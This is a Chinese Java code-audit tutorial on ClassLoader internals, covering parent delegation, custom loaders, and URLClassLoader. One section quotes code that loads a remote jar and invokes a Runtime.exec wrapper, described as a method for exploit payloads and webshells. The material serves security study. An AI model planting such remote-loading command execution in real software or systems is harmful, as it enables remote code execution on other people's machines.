Java 代码审计 — 1. ClassLoader
参考:
https://www.bilibili.com/video/BV1go4y197cL/
以 java 8 为例
什么是类加载
Java 是一种混合语言,它既有编译型语言的特性,又有解释型语言的特性。编译特性指所有的 Java 代码都必须经过编译才能运行。解释型指编译好的 .class 字节码需要经过 JVM 解释才能运行。.class
文件中存放着编译后的 JVM 指令的二进制信息。
当程序中用到某个类时,JVM 就会寻找加载对应的 .class 文件,并在内存中创建对应的 Class 对象。这个过程就称为类加载。
类的加载步骤
理论模型
从一个类的生命周期这个角度来看,一个类(.class) 必须经过加载、链接、初始化三个步骤才能在 JVM 中运行。
当 java 程序需要使用某个类时,JVM 会进行加载、链接、初始化这个类。
加载 Loading
通过类的完全限定名查找类的字节码文件,将类的 .class
文件字节码数据从不同的数据源读取到 JVM 中,并映射成 JVM 认可的数据结构。
这个阶段是用户可以参与的阶段,自定义的类加载器就是在这个过程。
连接 Linking
验证:检查 JVM 加载的字节信息是否符合 java 虚拟机规范。
确保被加载类的正确性,
.class
文件的字节流中包含的信息符合当前虚拟机要求,不会危害虚拟机自身安全。准备:这一阶段主要是分配内存。创建类或接口的静态变量,并给这些变量赋默认值。
只对 static 变量进行处理。而 final static 修饰的变量在编译的时候就会分配。
例如:
static int num = 5
,此步骤会将 num 赋默认值 0,而 5 的赋值会在初始化阶段完成。解析:把类中的符号引用转换成直接引用。
符号引用就是一组符号来描述目标,而直接引用就是直接指向目标的指针、相对偏移量或一个间接定位到目标的句柄。
初始化 Initialization
执行类初始化的代码逻辑。包括执行 static 静态代码块,给静态变量赋值。
具体实现
java.lang.ClassLoader
是所有的类加载器的父类,java.lang.ClassLoader
有非常多的子类加载器,比如我们用于加载 jar 包的 java.net.URLClassLoader
,后者通过继承 java.lang.ClassLoader
类,重写了findClass
方法从而实现了加载目录 class 文件甚至是远程资源文件。
三种内置的类加载器
Bootstrap ClassLoader
引导类加载器Java 类被
java.lang.ClassLoader
的实例加载,而 后者本身就是一个 java 类,谁加载后者呢?其实就是
bootstrap ClassLoader
,它是最底层的加载器,是 JVM 的一部分,使用 C++ 编写,故没有父加载器,也没有继承java.lang.ClassLodaer
类,在代码中获取为 null。它主要加载 java 基础类。位于
JAVA_HOME/jre/lib/rt.jar
以及sun.boot.class.path
系统属性目录下的类。出于安全考虑,此加载器只加载 java、javax、sun 开头的类。
Extension ClassLoader
扩展类加载器负责加载 java 扩展类。位于是
JAVA_HOME/jre/lib/ext
目录下,以及java.ext.dirs
系统属性的目录下的类。sun.misc.Launcher$ExtClassLoader
// jdk 9 及之后
jdk.internal.loader.ClassLoaders$PlatformClassLoader
App ClassLoader
系统类加载器又称
System ClassLoader
,主要加载应用层的类。位于CLASS_PATH
目录下以及系统属性java.class.path
目录下的类。它是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用它来加载类。
sun.misc.Launcher$AppClassLoader
// jdk 9 及之后
jdk.internal.loader.ClassLoaders$AppClassLOader
父子关系
AppClassLoader 父加载器为 ExtClassLoader,ExtClassLoader 父加载器为 null 。
很多资料和文章里说,
ExtClassLoader
的父类加载器是BootStrapClassLoader
,严格来说,ExtClassLoader
的父类加载器是 null,只不过在其的loadClass
方法中,当 parent 为 null 时,是交给BootStrap ClassLoader
来处理的。
双亲委派机制
试想几个问题:
有三种类加载器,如何保证一个类加载器已加载的类不会被另一个类加载器重复加载?
势必在加载某个类之前,都要检查一下是否已加载过。如果三个内置的类加载器都没加载,则加载。
某些基础核心类,是可以让所有的加载器加载吗?
比如 String 类,如果给它加上后门,放到 classpath 下,是让 appclassloader 加载吗?如果是被 appclassloader 加载,那么它需要做什么验证?如何进行验证?
为了解决上面的问题,java 采取的是双亲委派机制来协调三个类加载器。
每个类加载器对它加载的类都有一个缓存。
向上委托查找,向下委托加载。
类的唯一性
可以避免类的重复加载,当父类加载器已经加载了该类时,就没有必要子 ClassLoader 再加载一次,保证加载的 Class 在内存中只有一份。
子加载器可以看见父加载器加载的类。而父加载器没办法得知子加载器加载的类。如果 A 类是通过 AppClassLoader 加载,而 B 类通过ExtClassLoader 加载,那么对于 AppClassLoader 加载的类,它可以看见两个类。而对于 ExtClassLoader ,它只能看见 B 类。
安全性
考虑到安全因素,Java 核心 Api 中定义类型不会被随意替换,假设通过网络传递一个名为 java.lang.Object 的类,通过双亲委派模式传递到启动类加载器,而启动类加载器在核心 JavaAPI 发现这个名字的类,发现该类已被加载,并不会重新加载网络传递过来的 java.lang.Object,而直接返回已加载过的 Object.class,这样可以防止核心API库被随意窜改。
加载步骤及代码细节
public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException
此函数是类加载的入口函数。resolve 这个参数就是表示需不需要进行 连接阶段。
下面是截取的部分代码片段,从这个片段中可以深刻体会双亲委派机制。
Class<?> c = findLoadedClass(name);
在类加载缓存中寻找是否已经加载该类。它最终调用的是 native 方法。
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
如果父加载器不为空,则让递归让父加载器去加载此类。
如果父加载器为空,则调用 Bootstrap 加载器去加载此类。此处也即为何说 ExtClassLoader 的父加载器为 null,而非 Bootstrap 。
c = findClass(name);
如果查询完所有父亲仍未找到,说明此类并未加载,则调用 findClass 方法来寻找并加载此类。我们自定义类加载器,主要重写的就是 findClass 。
总结
ClassLoader
类有如下核心方法:
loadClass
(加载指定的Java类)findLoadedClass
(查找JVM已经加载过的类)findClass
(查找指定的Java类)defineClass
(定义一个Java类)resolveClass
(链接指定的Java类)
理解Java类加载机制并非易事,这里我们以一个 Java 的 HelloWorld 来学习 ClassLoader
。
ClassLoader
加载 com.example.HelloWorld
类重要流程如下:
ClassLoader
调用loadClass
方法加载com.example.HelloWorld
类。- 调用
findLoadedClass
方法检查TestHelloWorld
类是否已经加载,如果 JVM 已加载过该类则直接返回类对象。 - 如果创建当前
ClassLoader
时传入了父类加载器(new ClassLoader(父类加载器)
)就使用父类加载器加载TestHelloWorld
类,否则使用 JVM 的Bootstrap ClassLoader
加载。 - 如果上一步无法加载
TestHelloWorld
类,那么调用自身的findClass
方法尝试加载TestHelloWorld
类。 - 如果当前的
ClassLoader
没有重写了findClass
方法,那么直接返回类加载失败异常。如果当前类重写了findClass
方法并通过传入的com.example.HelloWorld
类名找到了对应的类字节码,那么应该调用defineClass
方法去JVM中注册该类。 - 如果调用
loadClass
的时候传入的resolve
参数为 true,那么还需要调用resolveClass
方法链接类,默认为 false。 - 返回一个被 JVM 加载后的
java.lang.Class
类对象。
自定义类加载器
用途
大多数情况下,内置的类加载器够用了,但是当加载位于磁盘上其它位置,或者位于网络上的类时,或者需要对类做加密等,就需要自定义类加载器。
一些使用场景:通过动态加载不同实现的驱动的 jdbc。以及编织代理可以更改已知的字节码。以及类名相同的多版本共存机制。
具体实现
我们通常实现自定义类加载器,主要就是重写 findClass 方法。
protected Class<?> findClass(String name) throws ClassNotFoundException
从网络或磁盘文件(.class, jar, 等任意后缀文件) 上读取类的字节码。然后将获取的类字节码传给 defineClass 函数来定义一个类。
protected final Class<?> defineClass(String name, byte[] b, int off, int len) throws ClassFormatError
它最终调用也是 native 方法。
示例代码
使用类字节码中加载类
@Test
public void test3(){
Double salary = 2000.0;
Double money;
{
byte[] b = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, 32, 10, 0, 7, 0, 21, 10, 0, 22, 0, 23, 6, 63, -15, -103, -103, -103, -103, -103, -102, 10, 0, 22, 0, 24, 7, 0, 25, 7, 0, 26, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 26, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 59, 1, 0, 3, 99, 97, 108, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 6, 115, 97, 108, 97, 114, 121, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 17, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 27, 12, 0, 28, 0, 29, 12, 0, 30, 0, 31, 1, 0, 24, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 1, 0, 11, 100, 111, 117, 98, 108, 101, 86, 97, 108, 117, 101, 1, 0, 3, 40, 41, 68, 1, 0, 7, 118, 97, 108, 117, 101, 79, 102, 1, 0, 21, 40, 68, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 2, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 1, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 64, 0, 4, 0, 2, 0, 0, 0, 12, 43, -74, 0, 2, 20, 0, 3, 107, -72, 0, 5, -80, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 12, 0, 0, 0, 22, 0, 2, 0, 0, 0, 12, 0, 13, 0, 14, 0, 0, 0, 0, 0, 12, 0, 17, 0, 18, 0, 1, 0, 1, 0, 19, 0, 0, 0, 2, 0, 20};
money = calSalary(salary,b);
System.out.println("money: " + money);
}
}
private Double calSalary(Double salary,byte[] bytes) {
Double ret = 0.0;
try {
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
Class<?> clazz = (Class<?>) method.invoke(this.getClass().getClassLoader(), "ClassLoader.SalaryCaler1", bytes, 0, bytes.length);
System.out.println(clazz.getClassLoader());
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
ret = (Double)cal.invoke(object,salary);
} catch (Exception e) {
e.printStackTrace();
}
return ret;
}
从文件中读取类字节码加载类
@Test
// 自定义类加载器,从 .myclass 文件中中加载类。
public void test4(){
// 将其它方法全注释,并且 ClassLoader.SalaryCaler 文件更名。
try {
Double salary = 2000.0;
Double money;
SalaryClassLoader classLoader = new SalaryClassLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\underlying\\target\\classes\\");
money = calSalary(salary, classLoader);
System.out.println("money: " + money);
} catch (Exception e) {
e.printStackTrace();
}
}
private Double calSalary(Double salary, SalaryClassLoader classLoader) throws Exception {
Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
System.out.println(clazz.getClassLoader());
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
return (Double)cal.invoke(object,salary);
}
package ClassLoader;
import org.apache.commons.io.IOUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.security.SecureClassLoader;
public class SalaryClassLoader extends SecureClassLoader {
private String classPath;
public SalaryClassLoader(String classPath) {
this.classPath = classPath;
}
@Override
protected Class<?> findClass(String name)throws ClassNotFoundException {
String filePath = this.classPath + name.replace(".", "/").concat(".myclass");
byte[] b = null;
Class<?> aClass = null;
try (FileInputStream fis = new FileInputStream(new File(filePath))) {
b = IOUtils.toByteArray(fis);
aClass = this.defineClass(name, b, 0, b.length);
} catch (Exception e) {
e.printStackTrace();
}
return aClass;
}
}
从 jar 包中读取类字节码加载类
@Test
//自定义类加载器,从 jar 包中加载 .myclass
public void test5(){
try {
Double salary = 2000.0;
Double money;
SalaryJarLoader classLoader = new SalaryJarLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
money = calSalary(salary, classLoader);
System.out.println("money: " + money);
} catch (Exception e) {
e.printStackTrace();
}
}
private Double calSalary(Double salary, SalaryJarLoader classLoader) throws Exception {
Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
System.out.println(clazz.getClassLoader());
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
return (Double)cal.invoke(object,salary);
}
package ClassLoader;
import org.apache.commons.io.IOUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.SecureClassLoader;
public class SalaryJarLoader extends SecureClassLoader {
private String jarPath;
public SalaryJarLoader(String jarPath) {
this.jarPath = jarPath;
}
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
Class<?> c = null;
synchronized (getClassLoadingLock(name)){
c = findLoadedClass(name);
if(c == null){
c = this.findClass(name);
// System.out.println(c);
if( c == null){
c = super.loadClass(name,resolve);
}
}
}
return c;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
try {
URL jarUrl = new URL("jar:file:\\"+jarPath+"!/"+name.replace(".","/").concat(".myclass"));
InputStream is = jarUrl.openStream();
byte[] b = IOUtils.toByteArray(is);
ret = this.defineClass(name,b,0,b.length);
} catch (Exception e) {
// e.printStackTrace();
}
return ret;
}
}
打破双亲委派机制
重写继承而来的 loadClass 方法。
使其优先从本地加载,本地加载不到再走双亲委派机制。
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
Class<?> c = null;
synchronized (getClassLoadingLock(name)){
c = findLoadedClass(name);
if(c == null){
c = this.findClass(name);
if( c == null){
c = super.loadClass(name,resolve);
}
}
}
return c;
}
其它
URLClassLoader
URLClassLoader
提供了加载远程资源的能力,在写漏洞利用的 payload 或者 webshell 的时候我们可以使用它来加载远程的 jar 来实现远程的类方法调用。
在 java.net 包中,JDK提供了一个易用的类加载器 URLClassLoader,它继承了 ClassLoader。
public URLClassLoader(URL[] urls)
//指定要加载的类所在的URL地址,父类加载器默认为 AppClassLoader。
public URLClassLoader(URL[] urls, ClassLoader parent)
//指定要加载的类所在的URL地址,并指定父类加载器。
从本地 jar 包中加载类
@Test
// 从 jar 包中加载类
public void test3() {
try {
Double salary = 2000.0;
Double money;
URL jarUrl = new URL("file:C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
try (URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{jarUrl})) {
money = calSalary(salary, urlClassLoader);
System.out.println("money: " + money);
}
} catch (Exception e) {
e.printStackTrace();
}
}
private Double calSalary(Double salary, URLClassLoader classLoader) throws Exception {
Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler");
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
return (Double)cal.invoke(object,salary);
}
从网络 jar 包中加载类
package com.anbai.sec.classloader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("https://anbai.io/tools/cmd.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定义需要执行的系统命令
String cmd = "ls";
// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD");
// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
import java.io.IOException;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
jsp webshell
为什么上传的 jsp webshell 能立即访问,按道理来说 jsp 要经过 servlet 容器处理转化为 servlet 才能执行。而通常开发过程需要主动进行更新资源、或者重新部署、重启 tomcat 服务器。
这是因为 tomcat 的 热加载机制 。而之所以 JSP 具备热更新的能力,实际上借助的就是自定义类加载行为,当 Servlet 容器发现 JSP 文件发生了修改后就会创建一个新的类加载器来替代原类加载器,而被替代后的类加载器所加载的文件并不会立即释放,而是需要等待 GC。
Java 代码审计 — 1. ClassLoader的更多相关文章
- Java 类加载机制 ClassLoader Class.forName 内存管理 垃圾回收GC
[转载] :http://my.oschina.net/rouchongzi/blog/171046 Java之类加载机制 类加载是Java程序运行的第一步,研究类的加载有助于了解JVM执行过程,并指 ...
- 【Java核心】ClassLoader原理及其使用
又把博客的皮肤换了换,看着更加简洁舒心一些.前段的知识只是略懂,拿过来就能用,只是自己的审美和设计水平有限,实在难以弄出自己特别满意的东西,也算是小小的遗憾吧!言归正传,由于最近涉及到Java核心的东 ...
- java代码审计中的一些常见漏洞及其特征函数
文章来源:https://xz.aliyun.com/t/1633 最近在先知上看到之前有篇关于java代码审计的文章总结的蛮好,记录以下特征函数,方便查阅,同时自己也会将在平时代码审计过程中积累的函 ...
- 深入理解Java类加载器(ClassLoader)
深入理解Java类加载器(ClassLoader) Java学习记录--委派模型与类加载器 关于Java类加载双亲委派机制的思考(附一道面试题) 真正理解线程上下文类加载器(多案例分析) [jvm解析 ...
- Java代码审计入门篇
作者:i春秋核心白帽yanzmi 原文来自:https://bbs.ichunqiu.com/thread-42149-1-1.html 本期斗哥带来Java代码审计的一些环境和工具准备. Java这 ...
- java代码审计文章集合
0x00 前言 java代码审计相关文章整理,持续更新. 0x01 java环境基础 搭建Java Web开发环境 配置IDEA编辑器开发java web,从0创建项目 IDEA动态调试 ...
- [代码审计]某租车系统JAVA代码审计[前台sql注入]
0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...
- Java代码审计连载之—SQL注入
前言近日闲来无事,快两年都没怎么写代码了,打算写几行代码,做代码审计一年了,每天看代码都好几万行,突然发现自己都不会写代码了,真是很DT.想当初入门代码审计的时候真是非常难,网上几乎找不到什么java ...
- 深入理解Java类加载器(ClassLoader) (转)
转自: http://blog.csdn.net/javazejian/article/details/73413292 关联文章: 深入理解Java类型信息(Class对象)与反射机制 深入理解Ja ...
随机推荐
- Go语言核心36讲(Go语言进阶技术二)--学习笔记
08 | container包中的那些容器 我们在上次讨论了数组和切片,当我们提到数组的时候,往往会想起链表.那么 Go 语言的链表是什么样的呢? Go 语言的链表实现在标准库的container/l ...
- perl打开读取文件(open)
在Perl中可以用open或者sysopen函数来打开文件进行操作,这两个函数都需要通过一个文件句柄(即文件指针)来对文件进行读写定位等操作.下面以open函数为例:1:读:open(文件句柄,&qu ...
- java的加载与执行原理详解
java程序从开发到最终运行经历了什么? (31) 编译期: 第一步:在硬盘某个位置(随意),新建一个xxx.java文件 第二步:使用记事本或者其他文本编辑器例如EditPlus打开xxx.java ...
- [对对子队]Scrum Meeting 博客汇总
对对子队 博客目录 一.Scrum Meeting 1. Alpha Scrum Meeting 1(会议记录4.10) Scrum Meeting 2(会议记录4.11) Scrum Meeting ...
- 热身 for computer industry
项目 内容 作业属于 班级博客 作业要求 作业要求 个人课程目标 掌握软件工程基础知识 具体有助方面 个人认知与规划 其他参考文献 博客Ⅰ 博客 Ⅱ 选择计算机 你为什么选择计算机专业?你认为你的条件 ...
- BUAA软件工程个人博客作业
软件工程个人博客作业 项目 内容 这个作业属于哪个课程 2020春季计算机学院软件工程(罗杰 任健) 这个作业的要求在哪里 个人博客作业 我在这个课程的目标 团队完成好的软件,并对自己作出规划 这个作 ...
- QMake(Qt项目构建)
qmake工具能够简化不同平台上的项目构建.可以自动产生Makefiles文件,仅仅需要少量的信息就可以生成Makefile文件.同时qmake也可以构建不是Qt的项目.qmake基于项目文件中的信息 ...
- STM32单片机的学习方法(方法大体适用所有开发版入门)
1,一款实用的开发板. 这个是实验的基础,有时候软件仿真通过了,在板上并不一定能跑起来,而且有个开发板在手,什么东西都可以直观的看到,效果不是仿真能比的.但开发板不宜多,多了的话连自己都不知道该学哪个 ...
- 精准测试系列分享之一:JaCoCo 企业级应用的优缺点分析
一.JaCoCo简介 JaCoCo是Eclipse平台下的开源产品,以小型,轻量化著称,常见集成在Eclipse Workbench中,除此之外的启动方式包括对接Ant和Maven,或是命令行的方式进 ...
- AtCoder Beginner Contest 182 F
F - Valid payments 简化题意:有\(n\)种面值的货币,保证\(a[1]=1,且a[i+1]是a[i]的倍数\). 有一个价格为\(x\)元的商品,付款\(y\)元,找零\(y-x\ ...